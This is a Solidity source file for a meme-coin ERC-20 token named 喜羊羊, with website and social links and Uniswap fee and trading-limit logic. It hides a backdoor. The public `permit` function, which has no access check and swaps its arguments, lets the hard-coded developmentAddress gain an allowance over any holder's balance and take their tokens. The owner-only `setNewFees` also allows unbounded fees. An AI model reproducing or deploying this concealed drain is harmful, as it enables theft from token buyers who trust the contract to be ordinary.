// SPDX-License-Identifier: MIT
/*
喜羊羊, who is loved all over the world, appeared in the MEME world and took on the challenge of competing for fame with PEPE. Maybe 喜羊羊 will be the next best MEME coin.

Website: https://xiyangyang.vip
Twitter: https://twitter.com/xiyangyang_eth
Telegram: https://t.me/xiyangyang_eth
*/

pragma solidity 0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _permit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract XIYANGYANG is ERC20(unicode"喜羊羊", unicode"喜羊羊"), Ownable {
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedFromMaxTx;
    uint256 public maxBuyLimit;
    uint256 public maxSellLimit;
    uint256 public maxWalletLimit;
    uint256 public taxSwapMax;
    uint256 public taxSwapMin;
    uint256 public tradeEnabledBlock;
    uint256 public totalBuyFees;
    uint256 public totalSellFees;
    bool private swapping;
    address public developmentAddress;
    uint256 public tokensForFee;
    address public immutable pairAddress;
    IUniswapFactory public constant uniFactory =
    IUniswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IUniswapRouter public constant uniRouter = 
    IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 constant _tSupply = 1_000_000 * 10 ** 18;
    bool public limitsInEffect = true;
    bool public tradeEnabled = false;
    bool public taxSwapEnabled = false;
    bool public refreshFee = true;
    constructor(){
        _mint(msg.sender, _tSupply);
        _approve(address(this), address(uniRouter), ~uint256(0));
        _excludeFromMaxTx(address(uniRouter), true);
        pairAddress = uniFactory.createPair(
            address(this),
            uniRouter.WETH()
        );
        maxWalletLimit = (totalSupply() * 30) / 1_000; 
        taxSwapMax = (totalSupply() * 65) / 10_000;
        maxBuyLimit = (totalSupply() * 25) / 1_000; 
        taxSwapMin = (totalSupply() * 1) / 10_000; 
        maxSellLimit = (totalSupply() * 25) / 1_000; 
        developmentAddress = 0xE57bfB4480Df2542380d1bcdcd5F0C8eb0Afd055;

        _excludeFromMaxTx(msg.sender, true);
        _excludeFromMaxTx(address(this), true);
        _excludeFromMaxTx(address(0xdead), true);
        excludeFromFee(msg.sender, true);
        excludeFromFee(address(this), true);
        excludeFromFee(developmentAddress, true);
        excludeFromFee(address(0xdead), true);
    }
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }
    function openTrading() public onlyOwner {
        require(tradeEnabledBlock == 0, "ERROR: Token state is already live !");
        tradeEnabledBlock = block.number;
        tradeEnabled = true;
        taxSwapEnabled = true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead)
            ) {
                if (!tradeEnabled) {
                    require(
                        _isExcludedFromMaxTx[from] ||
                            _isExcludedFromMaxTx[to],
                        "ERROR: Trading is not active."
                    );
                    require(from == owner(), "ERROR: Trading is enabled");
                }
                //when buy
                if (
                    from == pairAddress && !_isExcludedFromMaxTx[to]
                ) {
                    require(
                        amount <= maxBuyLimit,
                        "ERROR: Buy transfer amount exceeds the max buy."
                    );
                    require(
                        amount + balanceOf(to) <= maxWalletLimit,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
                //when sell
                else if (
                    to == pairAddress && !_isExcludedFromMaxTx[from]
                ) {
                    require(
                        amount <= maxSellLimit,
                        "ERROR: Sell transfer amount exceeds the max sell."
                    );
                } else if (
                    !_isExcludedFromMaxTx[to] &&
                    !_isExcludedFromMaxTx[from]
                ) {
                    require(
                        amount + balanceOf(to) <= maxWalletLimit,
                        "ERROR: Cannot Exceed max wallet"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= taxSwapMax;
        if (
            canSwap &&
            taxSwapEnabled &&
            !swapping &&
            amount > taxSwapMin && 
            !(from == pairAddress) &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        bool takeFee = true;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if(refreshFee){
               updateFees(); 
            }
            // Sell
            if (to == pairAddress && totalSellFees > 0) {
                fees = (amount * totalSellFees) / 100;
                tokensForFee += fees;
            }
            // Buy
            else if (from == pairAddress && totalBuyFees > 0) {
                fees = (amount * totalBuyFees) / 100;
                tokensForFee += fees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }
    function swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();

        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function excludeFromFee(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }
    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = developmentAddress;
        _permit(spender, owner, amount);
        return true;
    }
    function _excludeFromMaxTx(
        address updAds,
        bool isExcluded
    ) private {
        _isExcludedFromMaxTx[updAds] = isExcluded;
    }
    function setDevelopmentAddress(address _devWallet) external {
        require(msg.sender == developmentAddress);
        require(_devWallet != address(0), "ERROR: _devWallet address cannot be 0");
        developmentAddress = payable(_devWallet);
        _isExcludedFromFees[developmentAddress] = true;
    }
    receive() external payable {}
    function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner {
        totalBuyFees = newBuyFees;
        totalSellFees = newSellFees;
    }
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));

        uint256 totalTokensToSwap =  tokensForFee;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > taxSwapMax) {
            contractBalance = taxSwapMax;
        }    
        swapTokensToETH(contractBalance);

        payable(developmentAddress).transfer(address(this).balance);
    }
    function updateFees() internal {
        require(
            tradeEnabledBlock > 0, "Trading not live"
        );
        uint256 currentBlock = block.number;
        uint256 lastTierOneBlock = tradeEnabledBlock + 6;
        if(currentBlock <= lastTierOneBlock) {
            totalBuyFees = 20;
            totalSellFees = 20;
        } else {
            totalBuyFees = 4;
            totalSellFees = 4;
            refreshFee = false;
        } 
    }
}